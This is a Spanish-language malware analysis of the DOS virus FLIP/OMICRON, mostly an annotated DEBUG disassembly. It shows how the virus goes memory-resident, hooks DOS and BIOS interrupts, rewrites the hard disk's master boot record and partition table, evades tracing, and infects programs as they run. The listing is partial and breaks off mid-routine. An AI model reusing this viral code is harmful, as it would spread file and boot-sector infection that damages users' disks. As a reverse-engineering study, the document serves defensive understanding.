VIRUS

FLIP / OMICRON

;Estudio del c"digo del virus FLIP / OMICRON.
;Por Santiago Calvo Ramos.

;Se ha echo el estudio del virus en un programa infectado del tipo COM
;El tama$o del fichero del programa sin infectar es de 3187 bytes y el
;tama$o del fichero de este mismo programa infectado es de 5340 bytes.
;El virus se adosa al final del fichero ejecutable incrementando su
;tama$o en 3187 bytes.En el caso de que el fichero sea del tipo COM
;el virus var/a los tres primeros bytes de iste con objeto de insertar
;alli una instruccisn de salto al punto de entrada de ejecucion del
:csdigo del virus.En el caso de que el fichero sea del tipo EXE, varia
;los datos de la cabezera de dicho fichero actualizando entre otras cosas
;la informaci"n sobre el punto de entrada al programa, para que en el momento
;de la carga del fichero del programa por el sistema operativo, reciba el
;virus el control de ejecuci"n.
;En el caso estudiado el c"digo del virus una vez cargado el programa en
;memoria comienza en el offset 0d73H que corresponde en exadecimal al
;tama$o de este programa mas los 100H bytes del Prefijo del Segmento del
;Programa (PSP).En este caso el punto de entrada del virus se encuentra
;en el offset 1594H.
;Para el estudio se ha utilizado el programa DEBUG que biene incorporado
;entre las utilidades del DOS, asi como la bibliograf/a adecuada para
;poder comprender el significado de las llamadas tanto al DOS como al BIOS.

```
;
;-------------------------------------------------------------------------
2061:0D73 FA            CLI                     ;Hacer un cambio de pila
2061:0D74 33C0          XOR     AX,AX           ;
2061:0D76 8ED0          MOV     SS,AX           ;
2061:0D78 BC007C        MOV     SP,7C00         ;
2061:0D7B FB            STI                     ;

2061:0D7C B80300        MOV     AX,0003         ;Restarle 3 Kbytes a la memoria
2061:0D7F E81F00        CALL    0DA1            ;convencional del sistema.

2061:0D82 06            PUSH    ES              ;Introducir en la pila la direcci"n
2061:0D83 B84200        MOV     AX,0042         ;de retorno lejano.
2061:0D86 50            PUSH    AX              ;ES apunta al final de la memoria
                                                ;convencional del sistema.

2061:0D87 B8C007        MOV     AX,07C0
2061:0D8A 8ED8          MOV     DS,AX

2061:0D8C B80502        MOV     AX,0205         ;Leer 5 sectores del disco
2061:0D8F 8B0E2A00      MOV     CX,[002A]       ;
2061:0D93 41            INC     CX              ;n' de cilindro y sector
2061:0D94 8B162C00      MOV     DX,[002C]       ;n' de cabeza y unidad
2061:0D98 CD13          INT     13              ;ES:BX zona de carga.

2061:0D9A CB            RETF


;Procedimiento para restarle X Kbytes a la memoria convencional del sitema
;-------------------------------------------------------------------------
219A:0DA1 33DB          XOR     BX,BX
2061:0DA3 33FF          XOR     DI,DI
2061:0DA5 8EC3          MOV     ES,BX

2061:0DA7 26            ES:                     ;Restar X Kb en la variable que el
2061:0DA8 29061304      SUB     [0413],AX       ;BIOS tiene para indicar el tama$o
                                                ;de la memoria convencional del
                                                ;sistema.

2061:0DAC CD12          INT     12              ;Obtener el tama$o de la memoria
                                                ;convencional del sistema.
2061:0DAE B106          MOV     CL,06           ;Convertir en n' de p rrafo el
2061:0DB0 D3E0          SHL     AX,CL           ;valor del tama$o de la memoria
                                                ;convencional del sistema devuelto
                                                ;por la llamada al BIOS.
2061:0DB2 8EC0          MOV     ES,AX           ;ES apuntando al final de la memoria
                                                ;convencional del sistema.
2061:0DB4 C3            RET

;
;-------------------------------------------------------------------------
2061:0DB5 0E            PUSH    CS
2061:0DB6 1F            POP     DS
```

```
2061:0DB7 33C0          XOR     AX,AX               ;Introducir en la pila la direcci"n
2061:0DB9 8EC0          MOV     ES,AX               ;de comienzo de la ejecuci"n del
2061:0DBB BB007C        MOV     BX,7C00             ;c"digo del sector de arranque, para
2061:0DBE 50            PUSH    AX                  ;que al ejecutarse una instrucci"n de
2061:0DBF 53            PUSH    BX                  ;retorno lejano pase el control a la
                                                    ;direcci"n CS=0000,IP=7C00.

2061:0DC0 B80102        MOV     AX,0201             ;Leer sector y cargar en 0000:7C00
2061:0DC3 8B0E2A00      MOV     CX,[002A]           ;n' de cilindro y sector
2061:0DC7 8B162C00      MOV     DX,[002C]           ;n' de cabeza y unidad
2061:0DCB CD13          INT     13                  ;

2061:0DCD A16708        MOV     AX,[0867]
2061:0DD0 48            DEC     AX
2061:0DD1 3D0C00        CMP     AX,000C
2061:0DD4 7625          JBE     0DFB

2061:0DD6 B80012        MOV     AX,1200             ;Obtener la configuraci"n del
2061:0DD9 BB10FF        MOV     BX,FF10             ;sistema de video.
2061:0DDC CD10          INT     10                  ;

2061:0DDE 0AFF          OR      BH,BH               ;¿Color?
2061:0DE0 7519          JNZ     0DFB                ;

2061:0DE2 B404          MOV     AH,04               ;Obtener la fecha del reloj de
2061:0DE4 CD1A          INT     1A                  ;tiempo real.

2061:0DE6 80FA02        CMP     DL,02               ;¿Es dia dos?
2061:0DE9 7510          JNZ     0DFB                ;

2061:0DEB B80400        MOV     AX,0004             ;Restarle 4 Kbytes al sistema
2061:0DEE E8B0FF        CALL    0DA1                ;

2061:0DF1 E87401        CALL    0F68
2061:0DF4 C606E90000    MOV     BYTE PTR [00E9],00
2061:0DF9 EB05          JMP     0E00

2061:0DFB C606E90001    MOV     BYTE PTR [00E9],01
2061:0E00 FA            CLI
2061:0E01 33C0          XOR     AX,AX
2061:0E03 8EC0          MOV     ES,AX
2061:0E05 26            ES:
2061:0E06 C41E7000      LES     BX,[0070]
2061:0E0A 891ED700      MOV     [00D7],BX
2061:0E0E 8C06D900      MOV     [00D9],ES

2061:0E12 8EC0          MOV     ES,AX
2061:0E14 26            ES:
2061:0E15 C41E8400      LES     BX,[0084]
2061:0E19 891E6308      MOV     [0863],BX
2061:0E1D 8C066508      MOV     [0865],ES

2061:0E21 8EC0          MOV     ES,AX
2061:0E23 26            ES:
2061:0E24 C70670009803  MOV     WORD PTR [0070],0398
```

```
2061:0E2A 26            ES:
2061:0E2B 8C1E7200      MOV     [0072],DS
2061:0E2F FB            STI

2061:0E30 CB            RETF                    ;Ejecutar el c"digo del sector de arranque



;-----------------------------------------------------------------------
;
;-----------------------------------------------------------------------
2061:0E83 E80000        CALL    0E86
2061:0E86 5E            POP     SI
2061:0E87 81EE1301      SUB     SI,0113                 ;SI apuntando al principio del
                                                        ;cuerpo del virus.
2061:0E8B 56            PUSH    SI
2061:0E8C 50            PUSH    AX
2061:0E8D 06            PUSH    ES
2061:0E8E 0E            PUSH    CS
2061:0E8F 1F            POP     DS
2061:0E90 8CC0          MOV     AX,ES                   ;ES apunta al PSP
2061:0E92 0184C400      ADD     [SI+00C4],AX
2061:0E96 0184C600      ADD     [SI+00C6],AX
2061:0E9A 80BCBE0000    CMP     BYTE PTR [SI+00BE],00   ;¿Es tipo COM?
2061:0E9F 750E          JNZ     0EAF

2061:0EA1 8B84BF00      MOV     AX,[SI+00BF]            ;Poner los tres primeros
2061:0EA5 A30001        MOV     [0100],AX               ;bytes originales del pro-
2061:0EA8 8A84C100      MOV     AL,[SI+00C1]            ;grama .COM infectado.
2061:0EAC A20201        MOV     [0102],AL               ;

2061:0EAF B801FE        MOV     AX,FE01                 ;¿Esta el virus ya en la
2061:0EB2 CD21          INT     21                      ;memoria?
2061:0EB4 3DFE01        CMP     AX,01FE                 ;
2061:0EB7 7447          JZ      0F00

2061:0EB9 80BCBE0000    CMP     BYTE PTR [SI+00BE],00   ;¿Es tipo COM?
2061:0EBE 7505          JNZ     0EC5
2061:0EC0 83FCF0        CMP     SP,-10                  ;¿Hay suficiente pila?
2061:0EC3 723B          JB      0F00

2061:0EC5 8CC0          MOV     AX,ES                   ;Decrementar el valor de ES,
2061:0EC7 48            DEC     AX                      ;ES apunta 16 bytes por
2061:0EC8 8EC0          MOV     ES,AX                   ;debajo del PSP.

2061:0ECA 26            ES:
2061:0ECB 803E00005A    CMP     BYTE PTR [0000],5A
2061:0ED0 752E          JNZ     0F00

2061:0ED2 26            ES:
2061:0ED3 A10300        MOV     AX,[0003]
2061:0ED6 2DA700        SUB     AX,00A7
2061:0ED9 7225          JB      0F00
```

```
2061:0EDB 26            ES:
2061:0EDC A30300        MOV     [0003],AX

2061:0EDF  26             ES:                          ;En el PSP, restar A7H a la
2061:0EE0 812E1200A700  SUB     WORD PTR [0012],00A7     ;#ltima direcci"n segmento que
                                                         ;puede asignar el sistema.

2061:0EE6 26            ES:                          ;Copiar el c"digo del virus
2061:0EE7 8E061200      MOV     ES,[0012]            ;a partir de la direcci"n
2061:0EEB 33FF          XOR     DI,DI                ;segmento indicada por ES.
2061:0EED B96908        MOV     CX,0869              ;Tama$o del virus
2061:0EF0 FC            CLD                          ;ES se carga con el contenido en
2061:0EF1 F3            REPZ                         ;el offset 02 del PSP que indica
2061:0EF2 A4            MOVSB                        ;el valor segmento mas alto
                                                     ;de la memoria.



2061:0EF3 06            PUSH    ES                   ;Cargar DS con el valor de ES, que
2061:0EF4 1F            POP     DS                   ;apunta al final de la memoria
                                                     ;convencional.

2061:0EF5 C606E90001    MOV     BYTE PTR [00E9],01

2061:0EFA E8BC00        CALL    0FB9                 ;Manipular el sector de arranque.

2061:0EFD E88401        CALL    1084                 ;Cambiar el vector de INT21.

2061:0F00 07            POP     ES                   ;Restaurar registros.
2061:0F01 58            POP     AX                   ;
2061:0F02 06            PUSH    ES                   ;
2061:0F03 1F            POP     DS                   ;
2061:0F04 5E            POP     SI                   ;

2061:0F05 2E            CS:                          ;Saltar al punto de entrada
2061:0F06 8E94C600      MOV     SS,[SI+00C6]         ;original del programa
2061:0F0A 2E            CS:                          ;infectado.
2061:0F0B FFACC200      JMP     FAR [SI+00C2]        ;

;-------------------------------------------------------------------------
2061:0F0F 50            PUSH    AX
2061:0F10 51            PUSH    CX
2061:0F11 52            PUSH    DX

2061:0F12 B402          MOV     AH,02                ;Leer la hora actual en el reloj
2061:0F14 CD1A          INT     1A                   ;de tiempo real del sistema.

2061:0F16 80FD10        CMP     CH,10                ;(Son las 10 de la ma$ana?
2061:0F19 7549          JNZ     0F64                 ;
```

```
2061:0F1B 53            PUSH    BX
2061:0F1C 06            PUSH    ES
2061:0F1D 1E            PUSH    DS

2061:0F1E 0E            PUSH    CS
2061:0F1F 1F            POP     DS

2061:0F20 C606E90001    MOV     BYTE PTR [00E9],01

2061:0F25 B81035        MOV     AX,3510     ;Buscar vector de INT10
2061:0F28 CD21          INT     21          ;y guardar
2061:0F2A 891ED300      MOV     [00D3],BX   ;
2061:0F2E 8C06D500      MOV     [00D5],ES   ;

2061:0F32 B81025        MOV     AX,2510     ;Poner vector de INT10
2061:0F35 BAE703        MOV     DX,03E7     ;
2061:0F38 CD21          INT     21          ;

2061:0F3A B403          MOV     AH,03       ;Buscar la psici"n del cursor
2061:0F3C 32FF          XOR     BH,BH       ;
2061:0F3E CD10          INT     10          ;

2061:0F40 33C0          XOR     AX,AX       ;
2061:0F42 8EC0          MOV     ES,AX       ;
2061:0F44 8CC9          MOV     CX,CS
2061:0F46 81E90001      SUB     CX,0100
2061:0F4A 26            ES:
2061:0F4B A3A804        MOV     [04A8],AX
2061:0F4E 26            ES:
2061:0F4F 890EAA04      MOV     [04AA],CX
2061:0F53 26            ES:
2061:0F54 A04904        MOV     AL,[0449]
2061:0F57 0480          ADD     AL,80
2061:0F59 32E4          XOR     AH,AH
2061:0F5B CD10          INT     10

2061:0F5D B402          MOV     AH,02
2061:0F5F CD10          INT     10

2061:0F61 1F            POP     DS
2061:0F62 07            POP     ES
2061:0F63 5B            POP     BX
2061:0F64 5A            POP     DX
2061:0F65 59            POP     CX
2061:0F66 58            POP     AX
2061:0F67 C3            RET
```

```
;---------------------------------------------------------------------------
2061:0F68 1E            PUSH    DS

2061:0F69 33C0          XOR     AX,AX                   ;
2061:0F6B 8ED8          MOV     DS,AX                   ;
2061:0F6D C536A804      LDS     SI,[04A8]               ;
2061:0F71 B91C00        MOV     CX,001C                 ;
2061:0F74 FC            CLD                             ;
2061:0F75 F3            REPZ                            ;
2061:0F76 A4            MOVSB                           ;

2061:0F77 26            ES:
2061:0F78 C7060800EC00  MOV     WORD PTR [0008],00EC    ;
2061:0F7E 26            ES:                             ;
2061:0F7F 8C0E0A00      MOV     [000A],CS               ;
2061:0F83 2E            CS:                             ;
2061:0F84 8C06F400      MOV     [00F4],ES               ;
2061:0F88 06            PUSH    ES                      ;

2061:0F89 B83011        MOV     AX,1130                 ;Buscar informaci"n
2061:0F8C B702          MOV     BH,02                   ;sobre el tipo de
2061:0F8E CD10          INT     10                      ;letra 8x14 de la
                                                        ;ROM (EGA VGA).
                                                        ;Devuelve:
                                                        ;CX=puntos
                                                        ;DL=filas
                                                        ;ES:BP direcci"n de
                                                        ;la tabla.

2061:0F90 06            PUSH    ES
2061:0F91 1F            POP     DS

2061:0F92 8BF5          MOV     SI,BP                   ;
2061:0F94 07            POP     ES                      ;
2061:0F95 BA0001        MOV     DX,0100                 ;
2061:0F98 B90E00        MOV     CX,000E                 ;
2061:0F9B 83C70D        ADD     DI,+0D                  ;

2061:0F9E AC            LODSB                           ;
2061:0F9F 32E4          XOR     AH,AH                   ;
2061:0FA1 B308          MOV     BL,08                   ;
2061:0FA3 D0E8          SHR     AL,1                    ;
2061:0FA5 D0D4          RCL     AH,1                    ;
2061:0FA7 FECB          DEC     BL                      ;
2061:0FA9 75F8          JNZ     0FA3                    ;
2061:0FAB 26            ES:                             ;
2061:0FAC 8825          MOV     [DI],AH                 ;
2061:0FAE 4F            DEC     DI                      ;
2061:0FAF E2ED          LOOP    0F9E                    ;
```

```
2061:0FB1 83C70F        ADD     DI,+0F                  ;
2061:0FB4 4A            DEC     DX                      ;
2061:0FB5 75E1          JNZ     0F98                    ;
2061:0FB7 1F            POP     DS                      ;
2061:0FB8 C3            RET


;-------------------------------------------------------------------------
2061:0FB9 B81335        MOV     AX,3513                 ;Buscar vector de INT13
2061:0FBC CD21          INT     21                      ;y guardar
2061:0FBE 891E6308      MOV     [0863],BX               ;
2061:0FC2 8C066508      MOV     [0865],ES               ;

2061:0FC6 C7067D030001  MOV     WORD PTR [037D],0100

2061:0FCC B80102        MOV     AX,0201                 ;Leer el sector de arranque
2061:0FCF BB6908        MOV     BX,0869                 ;maestro del disco duro.
2061:0FD2 B90100        MOV     CX,0001                 ;
2061:0FD5 BA8000        MOV     DX,0080                 ;
2061:0FD8 1E            PUSH    DS                      ;
2061:0FD9 07            POP     ES                      ;
2061:0FDA E8D000        CALL    10AD                    ;

2061:0FDD 81BF280001FE  CMP     WORD PTR [BX+0028],FE01
2061:0FE3 741A          JZ      0FFF

2061:0FE5 81C3BE01      ADD     BX,01BE                 ;Apuntar al comienzo de la
                                                        ;tabla de particiones del
                                                        ;disco duro.

2061:0FE9 B104          MOV     CL,04                   ;Cuatro particiones m ximo.

2061:0FEB 8A4704        MOV     AL,[BX+04]              ;(DOS primario con FAT de
2061:0FEE 3C04          CMP     AL,04                   ;16 bits?
2061:0FF0 7410          JZ      1002

2061:0FF2 3C06          CMP     AL,06                   ;(Partici"n DOS extendida?
2061:0FF4 740C          JZ      1002

2061:0FF6 3C01          CMP     AL,01                   ;(DOS con FAT de 12 bits?
2061:0FF8 7408          JZ      1002

2061:0FFA 83C310        ADD     BX,+10                  ;Apuntar a la siguiente
                                                        ;entrada de la tabla de
                                                        ;particiones
2061:0FFD E2EC          LOOP    0FEB

2061:0FFF E98100        JMP     1083

2061:1002 8A7705        MOV     DH,[BX+05]              ;N' de cabeza final de la
                                                        ;partici"n en el disco.
2061:1005 89162C00      MOV     [002C],DX
```

```
2061:1009 8B4706        MOV     AX,[BX+06]              ;N' finales de cilindro y
                                                        ;sector de la particisn en
                                                        ;el disco.

2061:100C 8BC8          MOV     CX,AX
2061:100E BE0600        MOV     SI,0006
2061:1011 253F00        AND     AX,003F                 ;Filtrar s"lo n' de sector

2061:1014 3BC6          CMP     AX,SI                   ;(n' final de sector menor
2061:1016 766B          JBE     1083                    ;que seis?

2061:1018 2BCE          SUB     CX,SI                   ;Restar seis al n' final de sector
2061:101A 894F06        MOV     [BX+06],CX              ;Seis sectores menos

2061:101D 41            INC     CX                      ;Un sector mas adelante

2061:101E 890E2A00      MOV     [002A],CX

2061:1022 29770C        SUB     [BX+0C],SI              ;Restar seis sectores al n' total
2061:1025 835F0E00      SBB     WORD PTR [BX+0E],+00    ;de sectores en la partici"n

2061:1029 8BEB          MOV     BP,BX
2061:102B B80103        MOV     AX,0301
2061:102E BB6908        MOV     BX,0869
2061:1031 9C            PUSHF
2061:1032 FF1E6308      CALL    FAR [0863]
2061:1036 724B          JB      1083

2061:1038 B80503        MOV     AX,0305                 ;Escribir cinco sectores
2061:103B BB0000        MOV     BX,0000                 ;
2061:103E 41            INC     CX                      ;
2061:103F 9C            PUSHF                           ;
2061:1040 FF1E6308      CALL    FAR [0863]              ;
2061:1044 723D          JB      1083                    ;

2061:1046 BE0000        MOV     SI,0000
2061:1049 BF6908        MOV     DI,0869
2061:104C B94200        MOV     CX,0042
2061:104F FC            CLD
2061:1050 F3            REPZ
2061:1051 A4            MOVSB


2061:1052 B80103        MOV     AX,0301                 ;Escribir un sector
2061:1055 BB6908        MOV     BX,0869                 ;
2061:1058 B90100        MOV     CX,0001                 ;cilindro 0 sector 1
2061:105B 32F6          XOR     DH,DH                   ;cabeza 0.
2061:105D 9C            PUSHF                           ;llamar a INT13
2061:105E FF1E6308      CALL    FAR [0863]              ;original

2061:1062 721F          JB      1083
```

```
2061:1064 B80102        MOV     AX,0201                 ;
2061:1067 3E            DS:                             ;
2061:1068 8B4E02        MOV     CX,[BP+02]              ;
2061:106B 3E            DS:                             ;
2061:106C 8A7601        MOV     DH,[BP+01]              ;
2061:106F 9C            PUSHF                           ;
2061:1070 FF1E6308      CALL    FAR [0863]              ;
2061:1074 720D          JB      1083                    ;

2061:1076 836F1306      SUB     WORD PTR [BX+13],+06    ;
2061:107A 90            NOP                             ;
2061:107B B80103        MOV     AX,0301                 ;
2061:107E 9C            PUSHF                           ;
2061:107F FF1E6308      CALL    FAR [0863]              ;

2061:1083 C3            RET
```

```
;Procedimiento para cambiar el vector de INT21
;-------------------------------------------------------------------------
2061:1084 B82135        MOV     AX,3521                 ;Buscar vector de INT21
2061:1087 CD21          INT     21                      ;y guardar
2061:1089 891EDB00      MOV     [00DB],BX               ;
2061:108D 8C06DD00      MOV     [00DD],ES               ;
2061:1091 891E6308      MOV     [0863],BX               ;
2061:1095 8C066508      MOV     [0865],ES               ;

2061:1099 C7067D032003  MOV     WORD PTR [037D],0320
2061:109F B430          MOV     AH,30
2061:10A1 E80900        CALL    10AD

2061:10A4 B82125        MOV     AX,2521                 ;Poner vector de INT21
2061:10A7 BA7304        MOV     DX,0473                 ;
2061:10AA CD21          INT     21                      ;

2061:10AC C3            RET
```

```
;-------------------------------------------------------------------------
2061:10AD 50            PUSH    AX
2061:10AE 53            PUSH    BX
2061:10AF 52            PUSH    DX
2061:10B0 06            PUSH    ES

2061:10B1 B80135        MOV     AX,3501                 ;Buscar vector de INT01
2061:10B4 CD21          INT     21                      ;interrupci"n paso a paso

2061:10B6 8BF3          MOV     SI,BX
2061:10B8 8CC7          MOV     DI,ES
```

```
2061:10BA B80125        MOV     AX,2501                 ;Poner vector de INT01
2061:10BD BA7703        MOV     DX,0377                 ;interrupci"n paso a paso
2061:10C0 CD21          INT     21                      ;

2061:10C2 9C            PUSHF                           ;Poner a uno el indicador de
2061:10C3 58            POP     AX                      ;paso a paso en el registro
2061:10C4 0D0001        OR      AX,0100                 ;de indicadores (MSW).
2061:10C7 50            PUSH    AX                      ;
2061:10C8 9D            POPF                            ;

2061:10C9 07            POP     ES
2061:10CA 5A            POP     DX
2061:10CB 5B            POP     BX
2061:10CC 58            POP     AX
2061:10CD FA            CLI
2061:10CE 9C            PUSHF
2061:10CF FF1E6308      CALL    FAR [0863]


2061:10D3 50            PUSH    AX
2061:10D4 52            PUSH    DX
2061:10D5 1E            PUSH    DS

2061:10D6 9C            PUSHF                   ;Poner a cero el indicador de
2061:10D7 58            POP     AX              ;paso a paso en el registro
2061:10D8 25FFFE        AND     AX,FEFF         ;de indicadores (MSW -Machine
2061:10DB 50            PUSH    AX              ;Estatus Word)
2061:10DC 9D            POPF                    ;

2061:10DD B80125        MOV     AX,2501         ;Poner vector de INT01
2061:10E0 8BD6          MOV     DX,SI           ;interrupcisn paso a paso
2061:10E2 8EDF          MOV     DS,DI           ;
2061:10E4 CD21          INT     21              ;

2061:10E6 1F            POP     DS
2061:10E7 5A            POP     DX
2061:10E8 58            POP     AX
2061:10E9 C3            RET


;Rutina para el trataminto de INT01
;-----------------------------------------------------------------------
2061:10EA 55            PUSH    BP
2061:10EB 8BEC          MOV     BP,SP

2061:10ED 817E040001    CMP     WORD PTR [BP+04],0100   ;Comparar offset de
2061:10F2 7715          JA      1109                    ;direcci"n de retorno

2061:10F4 50            PUSH    AX
2061:10F5 06            PUSH    ES

2061:10F6 C44602        LES     AX,[BP+02]                      ;Cargar en ES:AX la
                                                                ;direcci"n de retorno
```

```
2061:10F9 2E            CS:
2061:10FA A36308        MOV     [0863],AX
2061:10FD 2E            CS:
2061:10FE 8C066508      MOV     [0865],ES
2061:1102 07            POP     ES
2061:1103 58            POP     AX

2061:1104 816606FFFE    AND     WORD PTR [BP+06],FEFF       ;Al producirse la
2061:1109 5D            POP     BP                          ;interrupci"n, en
2061:110A CF            IRET                                ;[BP+06] se encuen-
                                                            ;tran guardados los
                                                            ;indicadores.Con esta
                                                            ;accisn en el retorno
                                                            ;se pone a cero el
                                                            ;indicador de paso a
                                                            ;paso.

;-------------------------------------------------------------------------
2061:110B 06            PUSH    ES
2061:110C 53            PUSH    BX
2061:110D 50            PUSH    AX

2061:110E 33C0          XOR     AX,AX
2061:1110 8EC0          MOV     ES,AX
2061:1112 26            ES:
2061:1113 C41E8400      LES     BX,[0084]
2061:1117 8CC0          MOV     AX,ES

2061:1119 2E            CS:
2061:111A 3B066508      CMP     AX,[0865]
2061:111E 7507          JNZ     1127

2061:1120 2E            CS:
2061:1121 3B1E6308      CMP     BX,[0863]
2061:1125 742F          JZ      1156

2061:1127 1E            PUSH    DS
2061:1128 0E            PUSH    CS
2061:1129 1F            POP     DS

2061:112A 891EDB00      MOV     [00DB],BX
2061:112E 8C06DD00      MOV     [00DD],ES
2061:1132 891E6308      MOV     [0863],BX
2061:1136 8C066508      MOV     [0865],ES

2061:113A 33C0          XOR     AX,AX
2061:113C 8ED8          MOV     DS,AX
2061:113E C70684007304  MOV     WORD PTR [0084],0473
2061:1144 8C0E8600      MOV     [0086],CS
```

```
2061:1148 2E            CS:
2061:1149 C41ED700      LES     BX,[00D7]
2061:114D 891E7000      MOV     [0070],BX
2061:1151 8C067200      MOV     [0072],ES

2061:1155 1F            POP     DS
2061:1156 58            POP     AX
2061:1157 5B            POP     BX
2061:1158 07            POP     ES
2061:1159 CF            IRET


;Rutina para el tratamiento de INT10
;-------------------------------------------------------------------------
2061:115A 9C            PUSHF

2061:115B 0AE4          OR      AH,AH                   ;¿Se buscaba informaci"n sobre
2061:115D 7535          JNZ     1194                    ;el modo de video?

2061:115F 50            PUSH    AX
2061:1160 52            PUSH    DX
2061:1161 1E            PUSH    DS

2061:1162 0E            PUSH    CS
2061:1163 1F            POP     DS

2061:1164 247F          AND     AL,7F                   ;Poner a cero bit alto.
2061:1166 3C03          CMP     AL,03
2061:1168 7714          JA      117E
2061:116A 3C02          CMP     AL,02
2061:116C 7210          JB      117E
2061:116E C706EA000000  MOV     WORD PTR [00EA],0000

2061:1174 B81C25        MOV     AX,251C                 ;Poner vector de INT1C
2061:1177 BA2704        MOV     DX,0427                 ;temporizador del BIOS
2061:117A CD21          INT     21                      ;

2061:117C EB13          JMP     1191                    ;Poner vector de INT1C
2061:117E B81C25        MOV     AX,251C                 ;temporizador del BIOS
2061:1181 BA2008        MOV     DX,0820                 ;
2061:1184 CD21          INT     21                      ;

2061:1186 BAD403        MOV     DX,03D4
2061:1189 B80C00        MOV     AX,000C
2061:118C EF            OUT     DX,AX

2061:118D B80D00        MOV     AX,000D
2061:1190 EF            OUT     DX,AX

2061:1191 1F            POP     DS
2061:1192 5A            POP     DX
2061:1193 58            POP     AX

2061:1194 9D            POPF
```

```
2061:1195 2E            CS:
2061:1196 FF2ED300      JMP     FAR [00D3]              ;Saltar a INT10 original


;Rutina para el tratamiento de INT1C, temporizador del BIOS
;---------------------------------------------------------------------------
2061:119A 1E            PUSH    DS
2061:119B 06            PUSH    ES
2061:119C 56            PUSH    SI
2061:119D 57            PUSH    DI
2061:119E 50            PUSH    AX
2061:119F 51            PUSH    CX
2061:11A0 52            PUSH    DX

2061:11A1 BAD403        MOV     DX,03D4
2061:11A4 B80C10        MOV     AX,100C
2061:11A7 EF            OUT     DX,AX

2061:11A8 B80D00        MOV     AX,000D
2061:11AB EF            OUT     DX,AX

2061:11AC B800B8        MOV     AX,B800
2061:11AF 8ED8          MOV     DS,AX
2061:11B1 B800BA        MOV     AX,BA00
2061:11B4 8EC0          MOV     ES,AX
2061:11B6 2E            CS:
2061:11B7 8B36EA00      MOV     SI,[00EA]
2061:11BB BF9E0F        MOV     DI,0F9E
2061:11BE 2BFE          SUB     DI,SI
2061:11C0 FC            CLD
2061:11C1 B9F401        MOV     CX,01F4

2061:11C4 AD            LODSW
2061:11C5 26            ES:
2061:11C6 8905          MOV     [DI],AX
2061:11C8 83EF02        SUB     DI,+02
2061:11CB E2F7          LOOP    11C4

2061:11CD 2E            CS:
2061:11CE 8936EA00      MOV     [00EA],SI
2061:11D2 81FEA00F      CMP     SI,0FA0
2061:11D6 7206          JB      11DE
2061:11D8 33C0          XOR     AX,AX
2061:11DA 2E            CS:
2061:11DB A3EA00        MOV     [00EA],AX

2061:11DE 5A            POP     DX
2061:11DF 59            POP     CX
2061:11E0 58            POP     AX
2061:11E1 5F            POP     DI
2061:11E2 5E            POP     SI
2061:11E3 07            POP     ES
2061:11E4 1F            POP     DS
2061:11E5 CF            IRET
```

```
;Rutina para el tratamiento de INT21, llamadas a los servicios del DOS
;Esta es la rutina encargada de la infecci"n de todo aquel programa que
;se vaya a ejecutar.
;-------------------------------------------------------------------------
2061:11E6 9C            PUSHF

2061:11E7 3D2125        CMP     AX,2521             ;¿Se solicita poner vector de
2061:11EA 750C          JNZ     11F8                ;tratamiento de interrupci"n INT21?

2061:11EC 2E            CS:
2061:11ED 8916DB00      MOV     [00DB],DX
2061:11F1 2E            CS:
2061:11F2 8C1EDD00      MOV     [00DD],DS
2061:11F6 EB5E          JMP     1256

2061:11F8 3D2135        CMP     AX,3521             ;¿Se solicita buscar vector de
2061:11FB 7507          JNZ     1204                ;tratamiento de interrupci"n INT21?

2061:11FD 2E            CS:
2061:11FE C41EDB00      LES     BX,[00DB]
2061:1202 EB52          JMP     1256

2061:1204 80FC4B        CMP     AH,4B               ;¿Se solicita ejecutar un programa?
2061:1207 752E          JNZ     1237
2061:1209 0AC0          OR      AL,AL
2061:120B 7524          JNZ     1231
2061:120D 50            PUSH    AX
2061:120E 2E            CS:

2061:120F 8926C800      MOV     [00C8],SP           ;Guardar la referencia a la pila
2061:1213 2E            CS:                         ;
2061:1214 8C16CA00      MOV     [00CA],SS           ;

2061:1218 FA            CLI                         ;Efectuar un cambio de pila
2061:1219 8CC8          MOV     AX,CS               ;
2061:121B 8ED0          MOV     SS,AX               ;
2061:121D BC690A        MOV     SP,0A69             ;
2061:1220 FB            STI                         ;

2061:1221 E86200        CALL    1286

2061:1224 FA            CLI                         ;Recuperar la pila anterior
2061:1225 2E            CS:                         ;
2061:1226 8E16CA00      MOV     SS,[00CA]           ;
2061:122A 2E            CS:                         ;
2061:122B 8B26C800      MOV     SP,[00C8]           ;
2061:122F FB            STI                         ;
```

```
2061:1230 58            POP     AX
2061:1231 9D            POPF
2061:1232 2E            CS:
2061:1233 FF2E6308      JMP     FAR [0863]

2061:1237 3D01FE        CMP     AX,FE01
2061:123A 7504          JNZ     1240

2061:123C F7D0          NOT     AX
2061:123E EB16          JMP     1256

2061:1240 2E            CS:
2061:1241 803EE90001    CMP     BYTE PTR [00E9],01
2061:1246 7403          JZ      124B

2061:1248 E8C4FC        CALL    0F0F

2061:124B 2E            CS:
2061:124C FF06E700      INC     WORD PTR [00E7]

2061:1250 9D            POPF

2061:1251 2E            CS:
2061:1252 FF2EDB00      JMP     FAR [00DB]

2061:1256 9D            POPF
2061:1257 CF            IRET



;Rutina para el trataminto de INT24, errores criticos.Con esto se trata
;de evitar el conocido mensaje del sistema operativo
;Cancelar -Reintentar -Ignorar.
;-------------------------------------------------------------------------
2061:1258 B003          MOV     AL,03
2061:125A CF            IRET



;-------------------------------------------------------------------------
2061:125B B440          MOV     AH,40
2061:125D EB02          JMP     1261

2061:125F B43F          MOV     AH,3F
2061:1261 E81500        CALL    1279
2061:1264 7202          JB      1268
2061:1266 2BC1          SUB     AX,CX
2061:1268 C3            RET

2061:1269 33C9          XOR     CX,CX
2061:126B 33D2          XOR     DX,DX
```

```
2061:126D B80242        MOV     AX,4202
2061:1270 EB07          JMP     1279

2061:1272 33C9          XOR     CX,CX
2061:1274 33D2          XOR     DX,DX
2061:1276 B80042        MOV     AX,4200

2061:1279 2E            CS:
2061:127A 8B1E6108      MOV     BX,[0861]                   ;Handle de fichero.

2061:127E FA            CLI
2061:127F 9C            PUSHF
2061:1280 2E            CS:
2061:1281 FF1E6308      CALL    FAR [0863]
2061:1285 C3            RET
```

```
;Procedimiento para el reconocimiento del tipo de fichero de programa
;que se solicito ejecutar
;-----------------------------------------------------------------------
2061:1286 53            PUSH    BX
2061:1287 51            PUSH    CX
2061:1288 56            PUSH    SI
2061:1289 57            PUSH    DI
2061:128A 06            PUSH    ES
2061:128B 52            PUSH    DX
2061:128C 1E            PUSH    DS

2061:128D 0E            PUSH    CS
2061:128E 1F            POP     DS

2061:128F B80033        MOV     AX,3300             ;Se encuentra activa la se#al de
2061:1292 E8E9FF        CALL    127E                ;ruptura (CTRL-C)?
